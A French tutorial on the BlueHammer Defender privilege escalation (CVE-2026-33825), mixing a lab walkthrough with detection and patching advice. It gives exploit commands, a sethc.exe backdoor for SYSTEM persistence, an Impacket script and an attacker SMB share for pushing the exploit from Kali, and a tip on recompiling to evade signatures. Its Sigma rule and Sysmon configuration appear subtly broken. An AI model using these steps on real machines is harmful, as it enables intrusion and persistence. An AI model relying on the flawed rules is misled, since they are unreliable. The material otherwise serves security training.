⚠️ AVERTISSEMENT LÉGAL ET ÉTHIQUE IMPORTANT
Ce document est destiné exclusivement à la formation en cybersécurité, aux tests d'intrusion autorisés (avec accord écrit) et à la recherche en environnement de laboratoire isolé.
PCTAMALOU décline toute responsabilité en cas d'utilisation malveillante ou non autorisée.

⚠️ Position éthique et légale

Cette formation montre comment simuler une escalade de privilèges locale (LPE) dans un environnement de laboratoire contrôlé, afin de comprendre les mécanismes de défense Windows et de renforcer la sécurité des postes clients.

Nous recommandons vivement de tester uniquement sur des machines virtuelles isolées (VMware, Hyper‑V, VirtualBox) dotées de snapshots.

Règle d'or : Ne jamais exécuter de code d'exploitation sur des systèmes de production ou sans autorisation explicite.

BlueHammer – CVE-2026-33825
Escalade de privilèges locale via Microsoft Defender

TOCTOU + NTFS Junction + Oplock : Comment un utilisateur standard peut passer SYSTEM en abusant du moteur de remédiation Defender (Windows 10 & 11 – 2026)

✅ CVE-2026-33825 🔥 BlueHammer PoC ⚡ Defender Platform 🛡️ Patch 4.18.26030.3011 🔬 TOCTOU + Oplock + Junction 📅 Publié avril 2026

📢 Contexte de divulgation (avril 2026)

Le PoC BlueHammer a été publié publiquement le 7 avril 2026 par un chercheur sous le pseudonyme « Chaotic Eclipse / Nightmare Eclipse », en signe de protestation contre la lenteur du processus de correction de Microsoft. Microsoft a intégré le correctif dans le Patch Tuesday d'avril sous CVE-2026-33825 (score CVSS 7.8 – HIGH).

Microsoft a officiellement crédité les chercheurs Zen Dodd et Yuanpei XU pour la découverte initiale, tandis que le PoC public provient d'un tiers. L'incident a relancé le débat sur la divulgation responsable et la rapidité des cycles de correction.

Note : RedSun (autre LPE Defender) et UnDefend (DoS sur les mises à jour de signatures) ont été publiés par le même auteur peu après. Ces outils fonctionnent encore sur certains systèmes patchés contre BlueHammer. Voir la section dédiée plus bas.

🗺️ Flux d'attaque détaillé (Diagramme de séquence)

sequenceDiagram participant Attaquant as Attaquant (low priv) participant FS as Système de fichiers NTFS participant Defender as MsMpEng.exe (SYSTEM) participant Oplock as Opportunistic Lock Attaquant->>FS: Crée dossier cible + dépose fichier EICAR/trigger Attaquant->>Oplock: Pose un oplock sur le fichier Defender->>FS: Scan en temps réel → détection Defender->>FS: Ouverture handle pour remédiation (Time-of-Check) Oplock-->>Defender: Bloque l'opération (pause) Attaquant->>FS: Supprime le dossier et crée NTFS Junction → System32 Attaquant->>Oplock: Libère l'oplock Defender->>FS: Écrit/remplace un fichier (Time-of-Use) → redirection Defender-->>Attaquant: Exécution de payload sous SYSTEM

Ce diagramme illustre la condition de concurrence (TOCTOU) exploitée par BlueHammer. L'absence de re‑vérification du chemin après la pause induite par l'oplock est la clé de l'attaque.

🏗️ Compréhension technique avancée – Race Condition (TOCTOU)

graph TD subgraph "Vulnérabilité CVE-2026-33825" Check["Time-of-Check : Vérification du chemin"] Use["Time-of-Use : Écriture du fichier"] end Attacker["Attaquant (low priv)"] --> Junction["NTFS Junction Point"] Junction --> Use Defender["System (Defender Service)"] --> Check Check --> Use

Point clé : Defender vérifie le chemin avant d'ouvrir le fichier, mais écrit après sans re‑vérification suffisante. La redirection est possible grâce à la manipulation conjointe de l'oplock et de la junction.

🧠 Deep Dive – Anatomie de la vulnérabilité

🔬 Le service MpEngine et la remédiation

Microsoft Defender (service MsMpEng.exe) s'exécute avec les privilèges NT AUTHORITY\SYSTEM. Lorsqu'il détecte un fichier malveillant, il planifie une action de remédiation (quarantaine, suppression, réparation). Cette action est effectuée par le même processus SYSTEM, sans ré‑évaluation du chemin d'accès cible après l'ouverture du handle initial.

Étapes détaillées :

  1. Defender scanne un dossier (par exemple C:\Users\Public\Test).
  2. Il identifie un fichier malveillant et ouvre un handle sur ce fichier pour le lire et préparer sa suppression.
  3. Avant l'écriture ou la suppression effective, un Opportunistic Lock (Oplock) peut être déclenché par un processus utilisateur, suspendant l'opération de Defender (via une notification).
  4. Pendant cette suspension, l'attaquant remplace le dossier par un NTFS Junction Point pointant vers C:\Windows\System32 (ou un autre répertoire protégé).
  5. Defender reprend son opération et utilise le handle ouvert pour écrire ou supprimer un fichier dans le répertoire redirigé → exécution avec privilèges SYSTEM.

📁 Rôle des Oplocks et des Junctions

Opportunistic Lock (Oplock) : mécanisme du protocole SMB / NTFS permettant à un client de verrouiller un fichier pour améliorer les performances. Un processus peut demander un oplock et être notifié lorsqu'une autre application tente d'accéder au fichier. Dans BlueHammer, on utilise un oplock pour geler le traitement de Defender juste au bon moment, créant une fenêtre de race condition exploitable.

NTFS Junction Point : similaire à un lien symbolique, mais fonctionnant au niveau du système de fichiers. Il permet de rediriger l'accès d'un répertoire vers un autre emplacement sur le même volume. La création de junctions ne nécessite que des droits d'écriture dans le répertoire parent, ce qui est à la portée d'un utilisateur standard.

Rappel : La combinaison de ces deux mécanismes transforme une simple détection Defender en une écriture arbitraire avec les droits SYSTEM.

📊 Diagramme d'architecture interne

graph LR A[User Process malware] --> B[Oplock Request] B --> C[NTFS Driver] C --> D[MsMpEng.exe] D --> E[File Handle] E --> F[Remediation Thread] F --> G[Write/Delete] G --> H[NTFS Junction Target]

🧪 Lab Pratique – Reproduction pas à pas (VM isolée)

Prérequis lab : Windows 10/11 avec Defender Platform ≤ 4.18.26020.6, Real‑Time Protection activé, snapshot actif. Une connexion Internet est nécessaire pour le téléchargement initial des outils, mais le lab peut ensuite être déconnecté.

📥 0. Préparation du lab

Créez un dossier de travail, par exemple C:\lab\bluehammer. Assurez-vous que le Controlled Folder Access est désactivé ou que le dossier est exclu pour éviter toute interférence.

mkdir C:\lab\bluehammer
cd C:\lab\bluehammer
# Vérifier l'état de Defender
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AMProductVersion, AMEngineVersion

📥 1. Téléchargement et préparation du PoC

Récupérez l'archive BlueHammer depuis le dépôt de recherche (uniquement accessible en environnement de test). Extrayez dans C:\lab\bluehammer. L'archive contient :

⚙️ 2. Configuration du déclencheur Defender

Pour que Defender intervienne, il faut placer un échantillon détectable. Le PoC utilise généralement le fichier EICAR ou une signature spécifique. Créez le fichier de test :

# Création du fichier de test EICAR (totalement inoffensif, standard de l'industrie)
echo X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\lab\bluehammer\malware.txt
Remarque : Certains PoC utilisent un fichier plus complexe pour garantir le déclenchement de l'action de remédiation complète (pas seulement la mise en quarantaine). Le fichier EICAR peut parfois être traité différemment par Defender. Si l'exploit ne fonctionne pas, essayez un binaire signé reconnu comme "Potentially Unwanted Software".

🚀 3. Exécution de l'exploit (en tant qu'utilisateur standard)

Ouvrez une invite de commandes sans privilèges :

cd C:\lab\bluehammer
BlueHammer.exe --target C:\lab\bluehammer\malware.txt --junction C:\Windows\System32\ --payload whoami.exe

L'exploit va :

  1. Placer le fichier malveillant dans un dossier surveillé.
  2. Poser un oplock sur ce fichier.
  3. Attendre que Defender ouvre le fichier (déclenchement de l'oplock).
  4. Remplacer le dossier parent par un junction point vers System32.
  5. Libérer l'oplock → Defender écrit un fichier (ou exécute une action) dans System32.
  6. Si tout fonctionne, un shell SYSTEM apparaît.

🔍 4. Vérifications pendant l'exécution

Dans une autre fenêtre PowerShell (admin), vous pouvez surveiller la création de la junction :

# Vérifier les junctions dans C:\lab\bluehammer
cmd /c dir /aL C:\lab\bluehammer

# Surveiller les handles ouverts par MsMpEng.exe (avec Sysinternals Handle)
handle.exe -a -p MsMpEng.exe | findstr /i malware

📸 Résultat attendu

Après exécution réussie, vous devriez obtenir une fenêtre cmd.exe avec les droits SYSTEM. Vérifiez avec :

whoami /user
# Devrait afficher : nt authority\system

🧹 Nettoyage post‑lab

Après les tests, supprimez la junction et redémarrez le service Defender si nécessaire :

# Supprimer la junction
rmdir C:\lab\bluehammer

# Redémarrer le service Defender (PowerShell admin)
Restart-Service -Name WinDefend

# Vérifier que Real-Time Protection est toujours actif
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled

🔄 Variantes et post‑exploitation avancée

🎯 Écrasement de binaires signés par Microsoft

Au lieu de simplement exécuter une commande, l'attaquant peut remplacer un binaire légitime (utilman.exe, sethc.exe, ou un service vulnérable) pour obtenir une persistance SYSTEM.

# Exemple : remplacement de sethc.exe (Sticky Keys) pour ouvrir un shell SYSTEM au démarrage
BlueHammer.exe --target C:\lab\malware.txt --junction C:\Windows\System32\ --payload C:\lab\backdoor.exe --rename sethc.exe

🧩 Contournement des protections si Real‑Time est désactivée ?

BlueHammer nécessite que Defender soit actif. Si Real‑Time Protection est désactivée, on peut tenter de la réactiver via une autre LPE (ex: CVE‑2021‑1647) ou en modifiant la base de registre si des droits d'administrateur sont déjà partiellement obtenus.

📡 Utilisation de Symbolic Links avancés (Object Manager)

La technique peut être étendue en utilisant des liens symboliques natifs NT (\\RPC Control) pour rediriger des opérations vers des périphériques ou des pipes nommés, mais cela dépasse le cadre de ce tutoriel.

🔥 RedSun & UnDefend – La suite de l’histoire

Le même chercheur a publié deux autres outils exploitant des faiblesses de Microsoft Defender :

OutilTypeDescriptionStatut (avril 2026)
RedSunLPEAutre escalade de privilèges via Defender, utilisant une race condition différente.Non patché sur certaines plateformes
UnDefendDoS / DésactivationBloque les mises à jour de signatures Defender en empêchant l'écriture dans le dossier de définitions.Fonctionne toujours

Ces outils montrent que la surface d'attaque de Defender reste vaste et que le durcissement ne doit pas se limiter au seul patch de BlueHammer.

Important : Les PoC RedSun et UnDefend ne sont pas couverts ici, mais leur existence souligne la nécessité d'une surveillance continue et de l'application des correctifs de sécurité Defender (pas seulement les signatures).

💻 Scénario d'attaque réaliste : depuis Kali Linux vers une cible Windows sur le même réseau local

Dans un test d'intrusion, l'attaquant peut avoir un accès initial à un poste Windows en tant qu'utilisateur standard (via phishing, RDP, etc.) et souhaite élever ses privilèges. Voici comment il utiliserait BlueHammer depuis une machine Kali Linux pour automatiser l'exploitation.

🛜 Topologie du lab

📦 Préparation du payload sur Kali

Sur Kali, compilez ou récupérez BlueHammer.exe. Créez un script Python pour automatiser le déploiement :

#!/usr/bin/env python3
# bluehammer_deploy.py – Déploiement automatisé depuis Kali
# Usage : python3 bluehammer_deploy.py 192.168.1.50 labuser Passw0rd!

import sys, os
from impacket.smbconnection import SMBConnection
from impacket.examples.service import smbexec

target_ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

# 1. Copier BlueHammer.exe et le fichier EICAR sur la cible via SMB
smb = SMBConnection(target_ip, target_ip)
smb.login(username, password)
print("[+] Connexion SMB réussie")

# Créer le dossier C:\lab sur la cible
smbexec_cmd = f"cmd.exe /c mkdir C:\\lab"
# ... (code smbexec simplifié)
# Transfert des fichiers
with open("BlueHammer.exe", "rb") as f:
    smb.putFile("C$", "\\lab\\BlueHammer.exe", f.read())
with open("eicar.txt", "rb") as f:
    smb.putFile("C$", "\\lab\\eicar.txt", f.read())
print("[+] Fichiers copiés")

# 2. Exécuter BlueHammer sur la cible
print("[*] Lancement de l'exploit...")
os.system(f"impacket-wmiexec {username}:{password}@{target_ip} 'C:\\lab\\BlueHammer.exe --target C:\\lab\\eicar.txt --junction C:\\Windows\\System32\\ --payload whoami.exe'")
print("[!] Vérifiez si un shell SYSTEM est apparu sur la cible.")

Ce script est une illustration pédagogique. Dans un vrai pentest, l'attaquant utiliserait des outils comme psexec.py ou wmiexec.py de la suite Impacket pour exécuter la commande à distance.

🔧 Méthode manuelle étape par étape

  1. Sur Kali, partagez le dossier contenant BlueHammer.exe via SMB :
    # Installer impacket si nécessaire
    sudo apt install python3-impacket
    # Lancer un serveur SMB simple
    impacket-smbserver -smb2support share .
  2. Sur la cible Windows (en tant qu'utilisateur standard), montez le partage :
    net use Z: \\192.168.1.100\share /user:kali kali
  3. Copiez les fichiers localement :
    copy Z:\BlueHammer.exe C:\lab\
    copy Z:\eicar.txt C:\lab\
  4. Exécutez l'exploit comme précédemment.

📡 Exfiltration et persistance

Une fois SYSTEM obtenu, l'attaquant peut :

Ce scénario illustre pourquoi une LPE locale peut être un maillon critique dans une chaîne d'attaque complète.

🔎 Détection, forensics et monitoring Blue Team

📊 Événements Windows à surveiller

Event IDSourceDescription
1116Microsoft-Windows-Windows Defender/OperationalDétection de malware (notez le chemin du fichier et le processus).
1117Microsoft-Windows-Windows Defender/OperationalAction de remédiation effectuée.
4663SecurityAccès à un objet du système de fichiers (surveiller les écritures dans System32 par MsMpEng.exe).
4656SecurityHandle demandé sur un objet (oplock peut générer des événements).

🛡️ Règles Sigma / YARA suggérées

title: Potential BlueHammer Exploitation (CVE-2026-33825)
id: 33825-bluehammer
status: experimental
description: Détecte la création d'une junction point suivie d'une écriture par MsMpEng.exe dans un répertoire système.
logsource:
    product: windows
    service: security
detection:
    selection_junction:
        EventID: 4663
        ObjectType: "Junction"
    selection_write:
        EventID: 4663
        ProcessName: "MsMpEng.exe"
        ObjectName|contains: "\\Windows\\System32\\"
    timeframe: 5s
condition: selection_junction | near selection_write
falsepositives: Aucun connu en environnement normal.
level: critical

🧰 Règle Sysmon recommandée

Ajoutez ces événements dans votre configuration Sysmon :

<Sysmon>
  <EventFiltering>
    <RuleGroup name="Detect Junction Creation" groupRelation="or">
      <FileCreateStreamHash onmatch="include">
        <TargetFilename condition="end with">:Junction</TargetFilename>
      </FileCreateStreamHash>
    </RuleGroup>
    <RuleGroup name="Defender writing to System32" groupRelation="and">
      <Image condition="image">MsMpEng.exe</Image>
      <TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

🛡️ Recommandations ASR (Attack Surface Reduction)

Activez les règles suivantes pour limiter les risques même en cas de faille non patchée :

🔄 Post‑Patch : Risques résiduels et défense en profondeur

Le correctif d'avril 2026 (Platform 4.18.26030.3011) corrige la race condition spécifique de BlueHammer. Cependant, le pattern d'attaque (interaction entre Defender et le système de fichiers) reste une surface intéressante pour de futures recherches.

Que faire après le patch ?
  • Surveillez toujours les événements anormaux liés à MsMpEng.exe.
  • Appliquez le principe du moindre privilège (les utilisateurs ne devraient jamais être administrateurs locaux).
  • Activez HVCI (Hypervisor-protected Code Integrity) et Credential Guard.
  • Utilisez Microsoft Defender for Endpoint qui dispose de détections comportementales pour ce type de technique.

🛠️ 0. Prérequis (Lab 2026)

🔍 1. Vérifier si votre système est vulnérable

# Via PowerShell (recommandé)
Get-MpComputerStatus | Select-Object AMProductVersion, AMEngineVersion, AMServiceEnabled

# Ou via MpCmdRun.exe
cd "C:\Program Files\Microsoft Defender"
.\MpCmdRun.exe -GetPlatformVersion

Vous êtes vulnérable si la Platform Version est ≤ 4.18.26020.6.

Même si le binaire vulnérable est présent, l’exploitation n’est possible que si Defender est actif et en mode Real-Time.

⚔️ 2. Exploitation avancée – BlueHammer PoC (Lab uniquement)

Le PoC utilise :

Attention : Compilez et exécutez uniquement dans une VM de test. Le PoC public original a été publié par "Chaotic Eclipse".
1. Compiler ou télécharger BlueHammer.exe (lab seulement)
2. Exécuter en tant qu'utilisateur standard
3. Le PoC place le fichier → Defender réagit → oplock + junction
4. Résultat : obtention d'un shell SYSTEM (souvent via un service redémarré)

🛡️ 3. Correction officielle

Microsoft a corrigé la vulnérabilité dans la Defender Antimalware Platform version 4.18.26030.3011 (avril 2026).

# Mise à jour manuelle via Windows Security
Windows Security → Virus & threat protection → Protection updates → Check for updates

# Ou via PowerShell (admin)
Update-MpSignature

# Vérifier après mise à jour
Get-MpComputerStatus | Select AMProductVersion

Les systèmes avec mises à jour automatiques sont normalement déjà protégés.

🛡️ 4. Mesures de protection avancées (même sans patch immédiat)

✅ Checklist post-patch & hardening

❓ FAQ – Questions avancées 2026

Le scanner détecte le binaire vulnérable mais je ne suis pas exploitable ?

Oui, c’est fréquent. L’exploitation nécessite que Defender soit actif et effectue réellement une remédiation sur le fichier contrôlé.

RedSun et UnDefend sont-ils liés ?

Oui, publiés par le même chercheur. RedSun est une autre LPE, UnDefend est un DoS sur les mises à jour Defender.

Peut-on bypasser le patch ?

Microsoft a corrigé la faille spécifique. Cependant, des variantes basées sur le même principe (interaction Defender + filesystem) pourraient réapparaître.

Le PoC est-il détecté par Defender après recompilation ?

Microsoft a ajouté des signatures pour le binaire original. Une simple recompilation avec des modifications mineures (changement de chaînes, de GUID, etc.) peut temporairement contourner la détection. C'est une autre raison pour laquelle le durcissement comportemental (ASR, HVCI) est crucial.

✅ Conclusion

La CVE-2026-33825 (BlueHammer) illustre parfaitement comment un composant de sécurité peut devenir un vecteur d’attaque puissant lorsqu’il manque de contrôle d’accès granulaire.

Mettez à jour votre Defender Platform dès que possible et testez toujours en environnement isolé.

Rappel éthique : ces techniques sont exclusivement destinées à la formation et au renforcement de la sécurité. Le partage de ces connaissances vise à améliorer la posture défensive collective.